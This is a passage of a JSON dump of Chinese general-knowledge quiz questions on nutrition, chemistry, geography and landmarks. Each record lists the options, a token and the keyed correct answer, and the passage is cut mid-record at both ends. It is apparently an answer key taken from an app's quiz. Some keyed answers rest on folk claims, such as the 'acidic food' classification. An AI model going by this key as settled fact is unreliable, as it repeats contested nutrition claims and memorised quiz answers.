04:46:23","status":"1"},{"questionId":"8801428726","questionIndex":"1","questionStem":"最早的打字机是为谁设计的?","options":"[{\"optionId\":\"I8wSx0BRhzmTEsEb572V6Y-hwEiXWdWRChFY\",\"optionDesc\":\"盲人\"},{\"optionId\":\"I8wSx0BRhzmTEsEb572V69HfIA5-dUMmkCOG\",\"optionDesc\":\"作家\"},{\"optionId\":\"I8wSx0BRhzmTEsEb572V6obo8i4NyR4n23u4\",\"optionDesc\":\"商人\"}]","questionToken":"I8wSx0BRhzmTEsFJ9PWOvO2ZqnzmdLECt1ou1C2iXskRMg0vg4mjQoYKUmOHT1OlYTDgfCwa3vBrjcWjBYYkW1IAx3dWkQ","correct":"{\"optionId\":\"I8wSx0BRhzmTEsEb572V6Y-hwEiXWdWRChFY\",\"optionDesc\":\"盲人\"}","create_time":"27/1/2021 04:35:39","update_time":"27/1/2021 04:35:39","status":"1"},{"questionId":"8801428727","questionIndex":"2","questionStem":"如想去除衣服上的铁锈,应使用?","options":"[{\"optionId\":\"I8wSx0BRhzmTE8Eb572V6daFZ5kH4VBUSIHgcA\",\"optionDesc\":\"草酸\"},{\"optionId\":\"I8wSx0BRhzmTE8Eb572V6iF-0Ozv_qatulq_FQ\",\"optionDesc\":\"肥皂\"},{\"optionId\":\"I8wSx0BRhzmTE8Eb572V62N1lVAyCyjmHBlgiw\",\"optionDesc\":\"盐酸\"}]","questionToken":"I8wSx0BRhzmTE8FK9PWOvPvv3PAXa_LRYVYAJFVP41d-B5dc8c7jHLtxj1zf6SoD6lGhk7u39tOCjWMQNevMMBpnYT5l-Q","correct":"{\"optionId\":\"I8wSx0BRhzmTE8Eb572V6daFZ5kH4VBUSIHgcA\",\"optionDesc\":\"草酸\"}","create_time":"27/1/2021 04:44:39","update_time":"27/1/2021 04:44:39","status":"1"},{"questionId":"8801428728","questionIndex":"1","questionStem":"我国第一部由国家颁布的药典是?","options":"[{\"optionId\":\"I8wSx0BRhzmTHMEb572V6d_DFKqzj66Fp9U\",\"optionDesc\":\"《新修本草》\"},{\"optionId\":\"I8wSx0BRhzmTHMEb572V6oEPdy81XiZlgJQ\",\"optionDesc\":\"《本草纲目》\"},{\"optionId\":\"I8wSx0BRhzmTHMEb572V61QGR3pED3hXkN8\",\"optionDesc\":\"《诸病源候论》\"}]","questionToken":"I8wSx0BRhzmTHMFJ9PWOvGlBOfiSIynHV9DWwnOOIL0C8gWV09O_wnAdNWmqFosdP7AxsF5kx4pD6ImfbVSDW843X2szZw","correct":"{\"optionId\":\"I8wSx0BRhzmTHMEb572V6d_DFKqzj66Fp9U\",\"optionDesc\":\"《新修本草》\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"8801428729","questionIndex":"4","questionStem":"X射线照射会导致?","options":"[{\"optionId\":\"I8wSx0BRhzmTHcEb572V6TNoULbJ6fsAkS4\",\"optionDesc\":\"再生障碍性贫血\"},{\"optionId\":\"I8wSx0BRhzmTHcEb572V6qyCI2AF-0POQqQ\",\"optionDesc\":\"缺铁性贫血\"},{\"optionId\":\"I8wSx0BRhzmTHcEb572V60h82oPUkF-xf9k\",\"optionDesc\":\"溶血性贫血\"}]","questionToken":"I8wSx0BRhzmTHcFM9PWOvGZ-TgPlos0XD9CsUdfyES4HKYpM58MSwRueRncz61UBG9o5jrHjHOlQ1pex5PtxQPBKOokuhQ","correct":"{\"optionId\":\"I8wSx0BRhzmTHcEb572V6TNoULbJ6fsAkS4\",\"optionDesc\":\"再生障碍性贫血\"}","create_time":"27/1/2021 04:40:57","update_time":"27/1/2021 04:40:57","status":"1"},{"questionId":"8801428730","questionIndex":"2","questionStem":"苹果中含有增强记忆力的微量元素是?","options":"[{\"optionId\":\"I8wSx0BRhzmSFMEb572V6-9HP7Qevv3OIrV6\",\"optionDesc\":\"碘\"},{\"optionId\":\"I8wSx0BRhzmSFMEb572V6hO4v4QFu-fuqZmq\",\"optionDesc\":\"铁\"},{\"optionId\":\"I8wSx0BRhzmSFMEb572V6dG30UoQUn-m1Qs6\",\"optionDesc\":\"锌\"}]","questionToken":"I8wSx0BRhzmSFMFK9PWOvE4gIetEmVLsOxdDOxpAauALQMspWM_V15GoXHWddS8dH66tYury7z8J1mzx4Bh5bz8dchyHAw","correct":"{\"optionId\":\"I8wSx0BRhzmSFMEb572V6dG30UoQUn-m1Qs6\",\"optionDesc\":\"锌\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"8801428791","questionIndex":"5","questionStem":"方便面里必然有哪种食品添加剂?","options":"[{\"optionId\":\"I8wSx0BRhzmYFcEb572V60mzbnD3CQp1yses\",\"optionDesc\":\"防腐剂\"},{\"optionId\":\"I8wSx0BRhzmYFcEb572V6rdZK6RpQclnwZ_i\",\"optionDesc\":\"食用色素\"},{\"optionId\":\"I8wSx0BRhzmYFcEb572V6fIK03TmC8mPrGRN\",\"optionDesc\":\"合成抗氧化剂\"}]","questionToken":"I8wSx0BRhzmYFcFN9PWOvHTVcKqfwBqRUyP3DxoQYugbc_FtHRBvdpifQCjD1_AAlEZKrRExVD-qh2u_bj74jYbHilGjuw","correct":"{\"optionId\":\"I8wSx0BRhzmYFcEb572V6fIK03TmC8mPrGRN\",\"optionDesc\":\"合成抗氧化剂\"}","create_time":"27/1/2021 04:37:39","update_time":"27/1/2021 04:37:39","status":"1"},{"questionId":"8801428800","questionIndex":"2","questionStem":"碘缺乏会对儿童、青少年造成什么影响?","options":"[{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XmGs_cKSUKp4fKaL\",\"optionDesc\":\"发育和智力受影响\"},{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XLHS8FGkxy3DT4wk\",\"optionDesc\":\"甲亢\"},{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XfuXPZNcxRDBWwiR\",\"optionDesc\":\"无力\"}]","questionToken":"I8wSx0BRhzaOhXcmCc2nC0fg6_OPJwxlL4Csbmv4hAxtR_WCOxS63qTTz9kBuqzcdWXR7a7IVr09dl_C0QrNYqpMmmQWaQ","correct":"{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XmGs_cKSUKp4fKaL\",\"optionDesc\":\"发育和智力受影响\"}","create_time":"27/1/2021 04:37:38","update_time":"27/1/2021 04:37:38","status":"1"},{"questionId":"8801428801","questionIndex":"3","questionStem":"为预防中暑应多喝?","options":"[{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8Xi8w9L4icGpVwmqi4A\",\"optionDesc\":\"盐开水\"},{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8XfqeX9uNA6K98TZuJQ\",\"optionDesc\":\"可乐\"},{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8XAk9IufHb3DO2ebJQg\",\"optionDesc\":\"白开水\"}]","questionToken":"I8wSx0BRhzaOhHcnCc2nCyPTe4r7dudtLOiyRMi2KWVCwx0GWihF336lLKZmpRcCxZecuBNyl7tZ21bnc0k_0K29LSvCCQ","correct":"{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8Xi8w9L4icGpVwmqi4A\",\"optionDesc\":\"盐开水\"}","create_time":"27/1/2021 04:42:58","update_time":"27/1/2021 04:42:58","status":"1"},{"questionId":"8801428802","questionIndex":"3","questionStem":"烧菜时最好在何时加碘盐以减少碘的损失?","options":"[{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8XUlxOw8KzFKOxxzG\",\"optionDesc\":\"烧菜加水前\"},{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8XAgt72-GsEKwE3ap\",\"optionDesc\":\"烧菜前用碘盐爆锅\"},{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8Xk8IkhLC0IfwNCcY\",\"optionDesc\":\"菜将出锅时\"}]","questionToken":"I8wSx0BRhzaOh3cnCc2nDFm0nYtf8YRrcqX-cTaFHHFpuzH_QFN3paC6knNBYOcZ9dN9_ZcuyAn-C45X8wrR6-OkobMh6A","correct":"{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8Xk8IkhLC0IfwNCcY\",\"optionDesc\":\"菜将出锅时\"}","create_time":"27/1/2021 04:51:43","update_time":"27/1/2021 04:51:43","status":"1"},{"questionId":"8801428803","questionIndex":"2","questionStem":"下列不属于营养物质的是?","options":"[{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XiLoSPba-hP5ois\",\"optionDesc\":\"肝糖元分解形成的葡萄糖\"},{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XAAsVZncx0qK3Uc\",\"optionDesc\":\"食物中的胡萝卜素\"},{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XVIkNECKlVwemFs\",\"optionDesc\":\"食物中的葡萄糖\"}]","questionToken":"I8wSx0BRhzaOhncmCc2nDLm4oFzNtj1_qQxnUy8aOFinP8wXJSjzfyH5Evb1j2LXfuEwL3pXWMKOhdMH1xwI6OWPFkeqQQ","correct":"{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XiLoSPba-hP5ois\",\"optionDesc\":\"肝糖元分解形成的葡萄糖\"}","create_time":"27/1/2021 04:36:49","update_time":"27/1/2021 04:36:49","status":"1"},{"questionId":"8801428804","questionIndex":"5","questionStem":"脑发育的最关键时期是?","options":"[{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XaVJKVkYnhmGCU_Isg\",\"optionDesc\":\"婴儿期和儿童期\"},{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XgGa-HrZsa5UPBB5Wg\",\"optionDesc\":\"胎儿期和婴儿期\"},{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XA0xcJiyKSZRBTcKEg\",\"optionDesc\":\"青春期和婴儿期\"}]","questionToken":"I8wSx0BRhzaOgXchCc2nDPsQ1GE95n_jK_LhhcTS-t50ReE0szNbweJq1m1x_RMD47TrjY9X6Z5FQXYkyO8brqN2Iog5rQ","correct":"{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XgGa-HrZsa5UPBB5Wg\",\"optionDesc\":\"胎儿期和婴儿期\"}","create_time":"27/1/2021 04:39:30","update_time":"27/1/2021 04:39:30","status":"1"},{"questionId":"8801428805","questionIndex":"5","questionStem":"自然界中,有“智慧元素”之称的是?","options":"[{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XWUwld2i3yy2_Vc69A\",\"optionDesc\":\"锌\"},{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XPmmKNySD1sUC58XrQ\",\"optionDesc\":\"铁\"},{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XkEQ6Zke_8y3fbLl9Q\",\"optionDesc\":\"碘\"}]","questionToken":"I8wSx0BRhzaOgHchCc2nC_QDpn47SH4QSx_A5Pgrs0MDltE1HGGmdNexRQFtisbpcFCGBnhk2ab1_TSyMGOagUYdJBFxUg","correct":"{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XkEQ6Zke_8y3fbLl9Q\",\"optionDesc\":\"碘\"}","create_time":"27/1/2021 04:48:35","update_time":"27/1/2021 04:48:35","status":"1"},{"questionId":"8801428806","questionIndex":"4","questionStem":"火炬中常用的火炬燃料是?","options":"[{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8Xf2CcKWubbwpVbtC\",\"optionDesc\":\"柴油\"},{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8XrBVCC-sbR8hUqQK\",\"optionDesc\":\"丁烷和煤油\"},{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8XGzn05Xu7z8E6rLm\",\"optionDesc\":\"汽油\"}]","questionToken":"I8wSx0BRhzaOg3cgCc2nC_sR57wZaIFICx4ByX_GmpH5707ig-dmrKC7nuFIvc2aeqiFn_TlXxij2-312JO-u1xPvLTIfg","correct":"{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8XrBVCC-sbR8hUqQK\",\"optionDesc\":\"丁烷和煤油\"}","create_time":"27/1/2021 04:51:19","update_time":"27/1/2021 04:51:19","status":"1"},{"questionId":"8801428807","questionIndex":"2","questionStem":"煮鸡蛋时不宜用以下哪种容器?","options":"[{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XobWv0AiBdNTJZc\",\"optionDesc\":\"银制容器\"},{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XOlukMNUwaZyVJA\",\"optionDesc\":\"铝制容器\"},{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XS7EUejITNH_Ke4\",\"optionDesc\":\"陶制容器\"}]","questionToken":"I8wSx0BRhzaOgncmCc2nCzQMAo4nyYue2l4IqwVfiE2gkFc4zuVKTDAloK8o4nWAfkVno04I0FyUEw8D7ueD5Ua7KRzeKg","correct":"{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XobWv0AiBdNTJZc\",\"optionDesc\":\"银制容器\"}","create_time":"27/1/2021 04:36:59","update_time":"27/1/2021 04:36:59","status":"1"},{"questionId":"8801428808","questionIndex":"4","questionStem":"生活中常说的“五金”不包括下列哪种金属?","options":"[{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8XTHL948_PPrbigrL\",\"optionDesc\":\"锡\"},{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8Xv6Y2c7ZLdAKmBa_\",\"optionDesc\":\"锌\"},{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8XA7FAqrsHWHVVQaP\",\"optionDesc\":\"铁\"}]","questionToken":"I8wSx0BRhzaOjXcgCc2nC3rFbN0GxuPTLMQQdeZ-3Csm5-4BJt-3tv8SmFLTov4VVVX4X3CvXXPbwpqYmwdj31hvWpYuJQ","correct":"{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8Xv6Y2c7ZLdAKmBa_\",\"optionDesc\":\"锌\"}","create_time":"27/1/2021 04:49:15","update_time":"27/1/2021 04:49:15","status":"1"},{"questionId":"8801428809","questionIndex":"2","questionStem":"18K 金饰品的含金量是?","options":"[{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XBkaBll7RwPPW9zN\",\"optionDesc\":\"65%\"},{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XQSl9u3b3PHoN71X\",\"optionDesc\":\"85%\"},{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XhIMJq71KoTmPhnU\",\"optionDesc\":\"75%\"}]","questionToken":"I8wSx0BRhzaOjHcmCc2nCzjlY7EEru7Kz6pWdX4QAauj5wkM1sbb0HGzbUbkvwD36ipZmvlqpPLSmonmconNabkxabUpMQ","correct":"{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XhIMJq71KoTmPhnU\",\"optionDesc\":\"75%\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"8801428810","questionIndex":"4","questionStem":"书上印着金灿灿的烫金字的组成为?","options":"[{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8XKk-txV6qA7J_ral\",\"optionDesc\":\"锌锰合金\"},{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8Xq5XiYPnXkP2i1kw\",\"optionDesc\":\"铜锌合金\"},{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8XV4mRuqG8pJFFhJ0\",\"optionDesc\":\"铜锰合金\"}]","questionToken":"I8wSx0BRhzaPhXcgCc2nDBUFqlVaquA1DG6_W-bVcPODdHuJpIjV8AF3UJpsjLJQnyMQ0eocFpLcxV61PUDOC_ZJ8NlY5w","correct":"{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8Xq5XiYPnXkP2i1kw\",\"optionDesc\":\"铜锌合金\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"8801428813","questionIndex":"2","questionStem":"钢是由什么组成的?","options":"[{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XjV5Mc_CvjCmBfDFbA\",\"optionDesc\":\"铁、碳\"},{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XIOcvwpGG7XKzNzBjw\",\"optionDesc\":\"铁、铝\"},{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XTjr2JoKogSl5bFOTw\",\"optionDesc\":\"铁、锡\"}]","questionToken":"I8wSx0BRhzaPhncmCc2nCzJ0_CKKRBQuF_385RyCYWRM5nO1GLhgiPAGiAUVAB08eh2QTjLpDb_LGhJWx2QIQXUxMwiFnQ","correct":"{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XjV5Mc_CvjCmBfDFbA\",\"optionDesc\":\"铁、碳\"}","create_time":"27/1/2021 04:48:37","update_time":"27/1/2021 04:48:37","status":"1"},{"questionId":"8801428814","questionIndex":"4","questionStem":"下列不属于绿色蔬菜所含营养物质的为?","options":"[{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8XdyKUjhzDRKwPCXPzg\",\"optionDesc\":\"叶酸\"},{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8XLF2-w3lhgGNfzbUqA\",\"optionDesc\":\"维生素C\"},{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8Xg9iDQfU02yJOOKA7w\",\"optionDesc\":\"钙质\"}]","questionToken":"I8wSx0BRhzaPgXcgCc2nDLAJuMi-cKJccS8bRKLQRBZpvGIu6Awa1ccf8qdQf4lOX5wGf1w-ZEJFe15MqpO6B-vTapZFww","correct":"{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8Xg9iDQfU02yJOOKA7w\",\"optionDesc\":\"钙质\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"8801428816","questionIndex":"5","questionStem":"大自然中废纸的分解约需要几个月?","options":"[{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XrBtn6P2g_XArVU\",\"optionDesc\":\"3-4个月\"},{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XBUHTuqU05jBO3o\",\"optionDesc\":\"8-10个月\"},{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XbmjLya0x9tAsio\",\"optionDesc\":\"5-7个月\"}]","questionToken":"I8wSx0BRhzaPg3chCc2nC1RDr6Yax89DRtSJO2kPd5gXIwMtG_kVBl3KMe-vCLZxV72_KhAWJlO0My7Jv5nJKDaOFcQzJw","correct":"{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XrBtn6P2g_XArVU\",\"optionDesc\":\"3-4个月\"}","create_time":"27/1/2021 04:50:45","update_time":"27/1/2021 04:50:45","status":"1"},{"questionId":"8801428817","questionIndex":"2","questionStem":"钙的最好食物来源是?","options":"[{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XQKmAiGs0IIvVg0\",\"optionDesc\":\"蔬菜\"},{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XKclZKIpyL9Rpls\",\"optionDesc\":\"豆类和豆制品\"},{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XrCyGiTIPoMTCCk\",\"optionDesc\":\"乳和乳制品\"}]","questionToken":"I8wSx0BRhzaPgncmCc2nC9CdCMFKrIPk-lHwCXiI0DF5HtQa4t4oIz-dFWtszTQrej-RcQZwfo0K8TVz-5MuWPY-ipbcVw","correct":"{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XrCyGiTIPoMTCCk\",\"optionDesc\":\"乳和乳制品\"}","create_time":"27/1/2021 04:39:14","update_time":"27/1/2021 04:39:14","status":"1"},{"questionId":"8801428819","questionIndex":"1","questionStem":"水约占成人体重的百分比?","options":"[{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8Xh5DYBdfbgyfgVqb\",\"optionDesc\":\"三分之二\"},{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8XfYb3R2JrjmScnw5\",\"optionDesc\":\"五分之四\"},{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8XMh2o7H4-guBPXhj\",\"optionDesc\":\"二分之一\"}]","questionToken":"I8wSx0BRhzaPjHclCc2nDNnYzEfAo6Hv2TaiGTM0QQkDFNFA0wiN5byAYWgQReAUK68x_P41g6mE-9jvUkLKKUs6Ouer5w","correct":"{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8Xh5DYBdfbgyfgVqb\",\"optionDesc\":\"三分之二\"}","create_time":"27/1/2021 04:41:07","update_time":"27/1/2021 04:41:07","status":"1"},{"questionId":"8801428824","questionIndex":"4","questionStem":"下列哪类食物为酸性食物?","options":"[{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8XDBR7pUWawxfYpDO\",\"optionDesc\":\"茶叶\"},{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8Xukw30rKqdMxpO-H\",\"optionDesc\":\"鸡蛋\"},{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8XcCsSW4WX3YT6gSW\",\"optionDesc\":\"牛奶\"}]","questionToken":"I8wSx0BRhzaMgXcgCc2nC6gIvwXXyHkNFpwlaTJeLQgVZB9cnvOe134TDhUrZvcU_FAM783cN8iHbB0XgKAlPjdHnFJ13A","correct":"{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8Xukw30rKqdMxpO-H\",\"optionDesc\":\"鸡蛋\"}","create_time":"27/1/2021 04:50:22","update_time":"27/1/2021 04:50:22","status":"1"},{"questionId":"8801428825","questionIndex":"1","questionStem":"树干为什么经常刷成白色?","options":"[{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XrMGfhXzy0tPMreF\",\"optionDesc\":\"灭菌\"},{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XbpLmq-SIqGz88I-\",\"optionDesc\":\"防牲口啃食\"},{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XJvTWc06sBcIJYsV\",\"optionDesc\":\"防火\"}]","questionToken":"I8wSx0BRhzaMgHclCc2nC0GAngn5T3f4FYdCaTq9NH8egu9HdS0LHOmU41LfuLSL6KP076kNo0wOigqvlDQZ0SZxH3wkbQ","correct":"{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XrMGfhXzy0tPMreF\",\"optionDesc\":\"灭菌\"}","create_time":"27/1/2021 04:41:48","update_time":"27/1/2021 04:41:48","status":"1"},{"questionId":"8801428826","questionIndex":"4","questionStem":"石头城是对我国哪座城市的美称?","options":"[{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XouLNtKeb6NgkB7I\",\"optionDesc\":\"南京\"},{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XfffilgT02c1s-w7\",\"optionDesc\":\"西安\"},{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XNbnU1spK8EXc3G9\",\"optionDesc\":\"南昌\"}]","questionToken":"I8wSx0BRhzaMg3cgCc2nC32Xwgi3Bfqc57qaTUPLim6XFhn_9gqnXwzgOqIBJWCE2_tHGJGC-YUzDWM3WircIRtKCQscOQ","correct":"{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XouLNtKeb6NgkB7I\",\"optionDesc\":\"南京\"}","create_time":"27/1/2021 04:41:47","update_time":"27/1/2021 04:41:47","status":"1"},{"questionId":"8801428827","questionIndex":"1","questionStem":"“山城”是我国哪座城市的雅号?","options":"[{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XdzOkMANZpHsNnj8\",\"optionDesc\":\"洛阳\"},{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XukFF3MoPVvakjPm\",\"optionDesc\":\"重庆\"},{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XIv5y_Rcmx_xpAVZ\",\"optionDesc\":\"福州\"}]","questionToken":"I8wSx0BRhzaMgnclCc2nDIwt8146iXArvE-cTBBZr1vUGA5EfTy_3c6moVXQkFvVw1WSLuGLxgdhP_gVJnr1Ch7sGFZ7RA","correct":"{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XukFF3MoPVvakjPm\",\"optionDesc\":\"重庆\"}","create_time":"27/1/2021 04:35:33","update_time":"27/1/2021 04:35:33","status":"1"},{"questionId":"8801428828","questionIndex":"1","questionStem":"我国面积最大的湖泊是?","options":"[{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XmJJhziauA5gdgDKmw\",\"optionDesc\":\"青海湖\"},{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XE8Wy8R1EiLl3nU09A\",\"optionDesc\":\"洞庭湖\"},{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XYXfGthrXxHd6-PQMA\",\"optionDesc\":\"鄱阳湖\"}]","questionToken":"I8wSx0BRhzaMjXclCc2nC8WyFVd6tYbCnYHaSCtCRNt4taBKhtW0oeDr_XxWedCUe7KLJ_CXRFiRvuF4xofSUKy59ERRcw","correct":"{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XmJJhziauA5gdgDKmw\",\"optionDesc\":\"青海湖\"}","create_time":"27/1/2021 04:52:34","update_time":"27/1/2021 04:52:34","status":"1"},{"questionId":"8801428829","questionIndex":"4","questionStem":"世界国土面积最小的国家是?","options":"[{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8XOvt_xOchJUeRxM\",\"optionDesc\":\"瑙鲁\"},{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8Xtjh2BaBTGTujE8\",\"optionDesc\":\"梵蒂冈\"},{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8Xa9KGV3plCAU7Gk\",\"optionDesc\":\"摩纳哥\"}]","questionToken":"I8wSx0BRhzaMjHcgCc2nDN6TrWKy_TJg7Nz07k6mKCNT-K-_9bJ1IlLhJqvz3BbSNi5EX-vwhU4XwqtiWJ5dfqozyZyhkw","correct":"{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8Xtjh2BaBTGTujE8\",\"optionDesc\":\"梵蒂冈\"}","create_time":"27/1/2021 04:40:38","update_time":"27/1/2021 04:40:38","status":"1"},{"questionId":"8801428830","questionIndex":"3","questionStem":"世界石油储量最多是哪一个国家?","options":"[{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XO_Gqkf53S55gT9Z\",\"optionDesc\":\"伊拉克\"},{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XafF_bntSzyAFWI_\",\"optionDesc\":\"伊朗\"},{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XsTnFcVp0oONXas-\",\"optionDesc\":\"沙特阿拉伯\"}]","questionToken":"I8wSx0BRhzaNhXcnCc2nC3K7eOHluWDBJx0tueWgSgwqyR8AwfznZzjgYWmSpdmpC4NCv0a0T1SGtOHz1HkAFWn3OkRBng","correct":"{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XsTnFcVp0oONXas-\",\"optionDesc\":\"沙特阿拉伯\"}","create_time":"27/1/2021 04:45:12","update_time":"27/1/2021 04:45:12","status":"1"},{"questionId":"8801428838","questionIndex":"1","questionStem":"火车连续发出两声长鸣,表示什么?","options":"[{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XlCqA83DnDjhTKCb7Q\",\"optionDesc\":\"倒退\"},{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XeK8IVYHD1qfbUZCqg\",\"optionDesc\":\"故障\"},{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XJwgBUV6yFD0o-cS5g\",\"optionDesc\":\"前进\"}]","questionToken":"I8wSx0BRhzaNjXclCc2nDE1NlZfZAmMpy1g1WSdvLuTrzg0DHYiZ_x8omq94VA-QRWMTx3G8o83o1iFRO31WU__PT26fXw","correct":"{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XlCqA83DnDjhTKCb7Q\",\"optionDesc\":\"倒退\"}","create_time":"27/1/2021 04:50:49","update_time":"27/1/2021 04:50:49","status":"1"},{"questionId":"8801428839","questionIndex":"4","questionStem":"下列著名宫殿哪个位于英国?","options":"[{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XrZ88t_UpIFS\",\"optionDesc\":\"白金汉宫\"},{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XbQcKFK5PJSO\",\"optionDesc\":\"凡尔赛宫\"},{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XMg0T6ATtUKT\",\"optionDesc\":\"克里姆林宫\"}]","questionToken":"I8wSx0BRhzaNjHcgCc2nC73Rk6c1oLxIRElHH3E1rmXmRuHSavAR6KI-oM4a82uCJxEfF8_5GZlv2iI_TsaX7Hllkfnbnw","correct":"{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XrZ88t_UpIFS\",\"optionDesc\":\"白金汉宫\"}","create_time":"27/1/2021 04:50:22","update_time":"27/1/2021 04:50:22","status":"1"},{"questionId":"8801428841","questionIndex":"1","questionStem":"下列著名建筑物哪个不属于法国?","options":"[{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XHYkOQHa3jXI6ldmXw\",\"optionDesc\":\"卢浮宫\"},{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XmUcdBbP6SjuWyyUgQ\",\"optionDesc\":\"比萨斜塔\"},{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XXHpUtsA6zXYlnO8Bw\",\"optionDesc\":\"凯旋门\"}]","questionToken":"I8wSx0BRhzaKhHclCc2nDERsd0KJv0pNU0zjVRY8ESj257qFh1Y0nBIaZfxdTAzVVMGauow-3bD18OttlAKbY-DoMR3SAQ","correct":"{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XmUcdBbP6SjuWyyUgQ\",\"optionDesc\":\"比萨斜塔\"}","create_time":"27/1/2021 04:43:48","update_time":"27/1/2021 